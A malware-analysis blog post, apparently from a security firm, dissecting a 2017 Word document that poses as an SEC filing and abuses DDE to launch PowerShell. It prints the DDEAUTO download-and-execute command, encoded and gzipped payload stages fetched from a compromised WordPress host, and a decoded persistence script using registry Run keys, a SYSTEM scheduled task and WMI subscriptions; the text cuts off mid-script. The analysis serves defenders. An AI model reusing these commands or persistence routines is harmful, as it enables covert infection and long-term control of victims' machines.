&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/i/moments/918126999738175489&quot; target=&quot;_top&quot;&gt;Microsoft Office DDE Macro-less Command Execution Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The lure&nbsp;&lt;a href=&quot;https://www.virustotal.com/en/file/9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d/analysis/&quot; target=&quot;_top&quot;&gt;9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d (9/61 AV detection rate)&lt;/a&gt;&lt;br&gt;carries a Securities and Exchange Commission (SEC) seal and a number of lines alluding to a missing font error. Presumably this is to engender trust and improve the chances of the target user confirming the requisite dialog pop-ups for command execution to take place:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-sec-omb-approval-lure/sec-lure.png&quot; alt=&quot;&quot;&gt;SEC Lure&lt;/p&gt;

&lt;p&gt;Let’s dive into the payload, we’ll use the 7z+sed technique outlined in our&nbsp;&lt;a href=&quot;https://web.archive.org/web/2018/http://inquest.net/blog/2017/10/13/microsoft-office-dde-macroless-command-execution-vulnerability/&quot; target=&quot;_top&quot;&gt;previous post&lt;/a&gt;.&lt;/p&gt;

&lt;code&gt;$ 7z e -so 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d | sed 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g'

OMB APPROVALOMB Number:      3797-0954Expires:                  March 31, 2018Estimated average burdenhours per response                     18Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c&acirc;€”  DDEAUTO &quot;C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo[.]gl/Gqdihn');powershell.exe -e $e # &quot; &quot;Filings_and_Forms.docx&quot; !Unexpected End of Formula
&lt;/code&gt;

&lt;p&gt;The author of this payload applies a trick here in referencing the Powershell binary by way of Microsoft Word (first highlight). This results in a more friendly dialog for the user:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-sec-omb-approval-lure/dialogue-trick.png&quot; alt=&quot;&quot;&gt;Dialogue Trick&lt;/p&gt;

&lt;p&gt;A potential victim is more likely to select ‘Yes’ here when seeing Microsoft Word as the reference binary, versus Powershell.exe. The payload is behind a Google shortened URL. This is nice because we can append a + to that URL to see how prevalent this sample is:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-sec-omb-approval-lure/error.svg&quot; alt=&quot;Image removed.&quot;&gt;Google URL Stats&lt;/p&gt;

&lt;p&gt;Seems like it’s not popular at all. It may be worth keeping an eye on this page. The URL behind the shortener is:&lt;/p&gt;

&lt;code&gt;http://ipangea[.]com/wp-content/themes/ps1.txt
&lt;/code&gt;

&lt;p&gt;Snag that and you’ll find base64 encoded content that appears to be hosted on a compromised Wordpress page (this is pretty common):&lt;/p&gt;

&lt;code&gt;In [3]: print base64.b64decode(&quot;SQBFAFgAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACc
   ...: AaAB0AHQAcAA6AC8ALwBpAHAAYQBuAGcAZQBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdABoAGUAbQBlAHMALwBwAGEAeQAuAHQAeAB0ACcAKQApAA==&quot;)
IEX((new-object system.net.webclient).downloadstring('http://ipangea[.]com/wp-content/themes/pay.txt';))
&lt;/code&gt;

&lt;p&gt;Following the chain to the next payload we retrieve:&lt;/p&gt;

&lt;code&gt;$data=[System.Convert]::FromBase64String('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');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX($sr.readtoend())
&lt;/code&gt;

&lt;p&gt;Base64 decoding and then GZip decompressing the above stream we get:&lt;/p&gt;

&lt;code&gt;${/=\___/\_/=\/=\/=} = @'
$data=[System.Convert]::FromBase64String('H4sIAAAAAAAEAO1ae1fiSBb/n09Rx+MMYZUAvns47E4FHzit3dLodI/AYSGWmBYSJgSRZvnue289QkiKUVvp3T1nnWlSSaru81e3bt3K+jRXarTgj19yJfidkRIp5POp25FrB47nkkNv7Pa89k3WcrrZyy+XqWm93L/pscBy3BvH7RqZ5qDtt/tG/QIvLGC+8Xu7N2LHvte/cAas57istH7pj1imuX7o9duOe+YMg03yrAHTFpevARLCD0rZmGWKKXjOn7XE6xL8oeTpNL7C53KEUA1ftcS9IMFJkYg0chiaQHaC/jgsz3mJYaWStFYjh6/W1o2W6qpe5zKmVmRTR97UiboWaiD/cR5cA9Hk/4sr0YpWTDm3xNASybI/ST5DpsRnwch3ST41S43vnB5b1t9lZN2oX7LHwDxybQ8d3vzllyvXgTYzT1hQC3wEQb3suQ/MD+AlutFqD9nejnyXPqd0RA8pPevSMS3vULgvpTPwl5qSz74TsGzFGwZk/eiR2SMEHRALkOWp++Dds7LX77fdG/PocQAXxfCVMtWq1pgeevSU0ntaGdKzMX1Hj8f0y5g+0MM8/UKtW1o+oBdVy6bHB/Bc3PPnlTxF+YspInFYEm7hThCu4pAsNYQ9oUF09hUEWhIWCkKSAEeFxAv8p2UFBKIG1NCSLCRCBCRLDWRhKNw2JN1cSY+nDMl+9RyXTy4ioKUhGEJrji0yEwYqyYkgROLMXTbOep2vzA5I9nIyYB8gEJDaZBiwvlkDFIBSE7PsTwaB1/Xbg7uJeX64K+5rzH9wbHbhew/ODfMjNmzJqS1taOh4m4CmwShglfbwzqgPBccEli6PDxBI1iRgQ626mQz5F7n1fNa276brLfPSk8Ba+7K1liGhzdbWikShpKH8lgudLP0laIcOiKli1kadoaCe3yQHyDkJjyJ4BvTh3ZpaUKGDIh0SAmVS4DxtXN0oaTHELf9dsZboouHGRlEh5seGW+3UfFG8JU8H3OismKXkzaI7Fq1ehNAcLsJJg6amctVt+357El1YMxD+jci9aXsjN+CSFDDiSt4LDgklijytGzADsp8g5Hp9kj1vPzr9UZ/oGAoOmeaiyAlfGcA96gIZINHU3XHfIZ8dd3urZZ1+rAHCa6zHg4MI+jDZBxDJJ/DYd9q9D6N+h/lEpAGrjS4ktfLokrQIjy4/PRlXlM+ejBmFfCYOJzE7pINyjVdldUlIQHI3tH1nEHR6nn3P8a2WmpIEOmZxAFQj63pBFHagoeeTJQDO85zh8s73xm+Ql1x2rQdapvSawvUkT/+oWgN6skPtschP0GbfG+ICfzKfaz9rDUCyYoCWBfK224F9F+ZIh6wz6v7YJOlT1ZrQyintjOGqkqWTK2p34f7kAK7SULDGSVWT0ApDRtSngO9/EAC4yDB1JsZJoDUbMJstxJl4lNZgmSTALLYWyVynmPqPWfvz2DqiRzv0amzdICzfU8ui5Xu0+jtMSS+6tEvLVcowFYWU9GysUlORsl5UVQor3vPncA/93kHGLSEtwlZJLo18teIhc9jzvPvRgGQDCJil9pJleOvvPxfEjkjFdpmNIo26z7rssfljrQYJ+Tda9uhv1NqPaq0Sdm4VldAvJPLQDxL597g5ORkjxr/SkyPaodY9YrtTte7oyT3tdOkA6Ss+1Sq+r+Ic6NHKOQYLj8+Jsej3sQtegefvu/D8eIjj7rkXuuhVj76v0rknWqGNRShBK+qMa55jKDB0vsuI/aJaiMRs4YTyRO3tZJDV8IN1wrbZcAhRF1yikphYRUDN0TiPTGZKhj3GADRDspvS9uEKaR5vkILaHLwOi1p7/R+MLwWjFh3fhcYZLz88A3ELVYhILpMYceJ7o8Gwvt00eQoSTzNjm9jnpDL/G9H/ih536e8UXUkldHbCgsVCQYKvBnKViBYs1CoB/W6jcecZsy54DF61BrzaIDAXHI5ZieEvVfonLZ+G2Afs+gvLmtRK7aefgK/Y2H9fONUxW8hS/4uj6VN+fTKe/mDHkjf07Cylyld/7T1dZDJeznD5NpbHsXldjWR9Nui1bUbSa9Gbf7rRO5KORT61wxbgauQ0kY+HPBINfecgRzvw/InYvW0u2dUln1sTJT5up8O9Xwd2sfUm4AIbFBN9dI7B92jG68FyVrUcWrmnNxRWuKMjufU4oqwKyTCsiLDSdXGLcl21HmnlirZxywIr4LWqMcOOEeTGFSc1FZMn4kCJpQ9snP0o6gWySnD60TxnfbASyMHafVkkig81+WphzFXfJLDbnt+aZ8ztBnccxe6o11PTN06mxtg97NPzIdwX3ueWiojVBh80AziYJ9fOQAhr6HjAjlw/LtI+B7+AEw6ZLZ9FKtyyjMbbLzGZhKYavnSoGPSJtW8AozobYElheT0FJWX2naflaQLpm8Bj7o2BQSBeVyupEhWOed3x1rQlKYaVwJKoc6ioE3unDTih9sreol6v/PcXs2UJ/7BSlAwZho7ZYrEIq4C1oN1l2YvaM3OrSDUnwjxZGYh0TE1DGROnEksqv0MUSl/UxRJ5wrVFMivOirHUMRyM+r/V2WZE6/jxaVTnN1hL7bGVx3B4PYbwKNdMvfKpeM1k4eDhWTWTp05pFbOwvsdjxyLoEMm/Tkk6nxaHqyRdwBYmHuktbG1haxtb29jawdYOtnaxtYutPWztYWsfW/vYOsDWAbbeYesdtiinzJlYvMm5lHmTsznkTc7niDc5o2PeBE4zmeXK6q7UUZxF6DRek/FeKR4pS4lhOmrFVH3kuMHeTmhFNXPlvAf5wyNajTCYTuYzfG1Lvs1mwxVFTQ7eSQqTcE49eoKU0K+uY9FsqkUinJ4NtUi0whMY1SCFPVE5T1gnq1UAHhfmu9OYbTYgKErbGVEjJpT9G4m8TgiaKcb3n4t8NKXzqEqvnjoy3qlzNZDo+d9G5BrSYPIYIhrt65Cc3kHUuMBETM9mCYn4Oc7iUeOrl0jld3VwsiC0HUa78OxDO2ZzKyFn7Mj99Uu5qinLNSv64YlaY+Uk/aGlgmR1KSz02mEpIFII5vfymwWzNug5gbFmroXKyCMM8cMzDc2kSihdzzdhXhX29vf3twp7YtssM8QwCXk+sQIS29vd3ZaUIkt6riRP3J5HaQspbe3uzX0lAC+QEQa++LDtZuw0UQShef+YlTaIVt8NohV+g+hkKUaiToLxArhP3SB76WVPB68MNmi4l/gdryQ39zL5CU37Al9LAsKzkdHP868cjd6cj9X6VD82HKU9b094NG2m4XfeSevfRCedt+OddL6fhYUmGYLV6fWvb7Bt7nStb+KTK2tMKzaf+ptvSvYb7r75rlymnW9NvkLxQPYrbubfnvw2kv1jlVocSdvz0sQ3rHO9PfnVa3G6Wi3OV4uk89Uiqbpa6aurlf4KyTsoPZPH+G9L+gE/pehQ8UnFdXUVLFYU2hxa8VZA9iue7LW5K4ecfEZ+JrLkY+ZkfcLQrRiQPDvsUfvlXuQjkoVzrbc4rPqAZQfQZkSP8/SUWhUEaIefQ54iYIf8y5quPLekVkEEEXUItfDdr+97PuSTKO6/ATZEllmTLgAA');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0);$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX $sr.readtoend();
'@
${_/====\___/=\/\__} = [System.Text.Encoding]::Unicode.GetBytes(${/=\___/\_/=\/=\/=})
${___/\/==\/=\/==\_} =[Convert]::ToBase64String(${_/====\___/=\/\__})
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE' -Value ${___/\/==\/=\/==\_} -force
${_/=\/==\/\/\/==\/} = @'
$b64=(Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').IE;$stCode=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64));[System.Threading.Mutex]$m;[bool]$mtmp=$false;$m=New-Object System.Threading.Mutex($true, [string]1823821749, [ref] $mtmp);if(!$mtmp){exit;}IEX $stCode;
'@
${/=\___/===\_/==\_} = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(${_/=\/==\/\/\/==\/}))
try{New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{ndr -Name HKU -PSProvider Registry -Root HKEY_USERS
New-ItemProperty -Path 'HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\VxD' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
try{ndr -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
New-ItemProperty -Path 'HKCR:\vbsfile\shell\open\command' -Name 'IE' -Value &quot;powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}&quot; -force
} catch{}
function Invoke-PrepareScheduledTask
{ ${_/===\_/\/\/=\__/} = 'IE'
${/=\/\_/=====\/\/\} = Get-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -ErrorAction SilentlyContinue
if (${/=\/\_/=====\/\/\} -ne $null)
{  Unregister-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -Confirm:$false
}
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE11' -Value 'IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Control` Panel\Desktop).IE)))' -force
${__/\/\__/\_/\/\/\} = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument &quot;-ep bypass -noni -w hidden -C IEX((Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').IE11)&quot;
${_/\___/\___/==\/=} = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:10:00
${__/=\____/=\/==\_} = New-ScheduledTaskSettingsSet -Compatibility Win8
${/=\______/=\/==\_} = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Highest
${_/\/\_/=\/\____/=} = New-ScheduledTask -Action ${__/\/\__/\_/\/\/\} -Principal ${/=\______/=\/==\_} -Trigger ${_/\___/\___/==\/=} -Settings ${__/=\____/=\/==\_} -Description &quot;Run $(${_/===\_/\/\/=\__/}) at startup&quot;
Register-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -InputObject ${_/\/\_/=\/\____/=}
${/=\/\_/=====\/\/\} = Get-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -ErrorAction SilentlyContinue
}
function Invoke-WMI-Pers
{ ${/=\_/==\/\__/=\_/} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
${/=\/\/===\_/===\_} = $env:programdata + '\Windows'
${_/=====\___/\/==\} = 'kernel32.dll'
if (${/=\_/==\/\__/=\_/} -gt 2)
{  sc -Path ${/=\/\/===\_/===\_} -Value ${/=\___/\_/=\/=\/=} -Stream 'kernel32.dll'
}
${/=====\___/==\__/} = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (${/=====\___/==\__/}.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
{  ${/=\/==\/==\_/\_/=} = 'kernel32_Filter';
  ${_/\/=\_/==\_/=\_/} = 'kernel32_Consumer';
  gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
  gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
  gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
  ${/===\_/\/=\_/\/=\} = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = ${/=\/==\/==\_/\_/=}; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = &quot;Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'&quot;}
  if (${/=\_/==\/\__/=\_/} -gt 2)
  {${___/\/==\/=\/===\} = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(&quot;IEX `$(Get-Content -Path ${/=\/\/===\_/===\_} -Stream ${_/=====\___/\/==\}|Out-String)&quot;))
